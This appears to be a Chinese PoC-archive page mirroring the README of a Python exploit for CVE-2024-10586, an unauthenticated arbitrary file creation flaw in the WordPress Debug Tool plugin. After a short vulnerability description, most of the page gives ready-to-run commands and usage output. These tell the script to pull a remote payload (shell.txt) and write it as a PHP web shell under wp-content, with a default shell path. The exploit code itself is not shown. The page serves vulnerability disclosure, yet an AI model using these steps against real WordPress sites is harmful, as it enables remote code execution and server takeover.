目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1000

100.0%

CVE-2024-10586 PoC — WordPress plugin Debug Tool 安全漏洞

来源
关联漏洞
标题:WordPress plugin Debug Tool 安全漏洞 (CVE-2024-10586)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Debug Tool 2.2版本及之前版本存在安全漏洞,该漏洞源于缺少对dbt_pull_image函数的功能检查。
介绍
# Vulnerability Information

Description
The Debug Tool plugin for WordPress is vulnerable to arbitrary file creation due to a missing capability check on the `dbt_pull_image()` function and missing file type validation in all versions up to, and including, 2.2.  
This makes it possible for unauthenticated attackers to create arbitrary files such as `.php` files that can be leveraged for remote code execution.
## CVE ID
CVE-2024-10586

## Script Usage
### Prerequisites
- Python 3.x installed on your system.
- Install required dependencies:
  pip install requests

## How to Run
  1. Clone the repository from [GitHub](https://github.com/Nxploited/CVE-2024-10586-Poc):
   ```bash
   git clone https://github.com/Nxploited/CVE-2024-10586-Poc
   cd CVE-2024-10586-Poc
```








  

2. Run the script with the following command:
   python CVE-2024-10586.py -u <WordPress URL> -r <Remote File URL> -p <Optional Shell Path>

   ## Parameters
- -u, --url: The base URL of the WordPress site (e.g., http://example.com/wordpress).
- -r, --remote: The URL of the remote file to be used as the payload source.
- -p, --path: Optional. The path where the shell will be saved. Defaults to /opt/lampp/htdocs/wordpress/wp-content/Nxploit.php.
### Example Command
```
python CVE-2024-10586.py -u http://192.168.100.74/wordpress -r http://192.168.100.74/shell.txt -p /opt/lampp/htdocs/wordpress/wp-content/shell.php
```



### Example Usage



```
python CVE-2024-10586.py -u http://192.168.100.74/wordpress -r http://192.168.100.74/shell.txt -p /opt/lampp/htdocs/wordpress/wp-content/shell.php

usage: CVE-2024-10586.py [-h] -u URL -r REMOTE [-p PATH]

Send a POST request to WordPress admin-ajax.php.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The base URL of the WordPress site.
  -r REMOTE, --remote REMOTE
                        The remote URL to use in the 'source' parameter.
  -p PATH, --path PATH  The file path to use in the 'missed' parameter. Defaults to '/opt/lampp/htdocs/wordpress/wp-content/Nxploit.php'.
```
### Disclaimer

This script is for educational purposes only. Use it responsibly and only on systems you own or have explicit permission to test. The authors are not responsible for any misuse or damage caused by this tool.





文件快照

[4.0K] /data/pocs/6f6c397426f7a1f4105c4da30a3e798058967509 ├── [4.8K] CVE-2024-10586.py └── [2.2K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →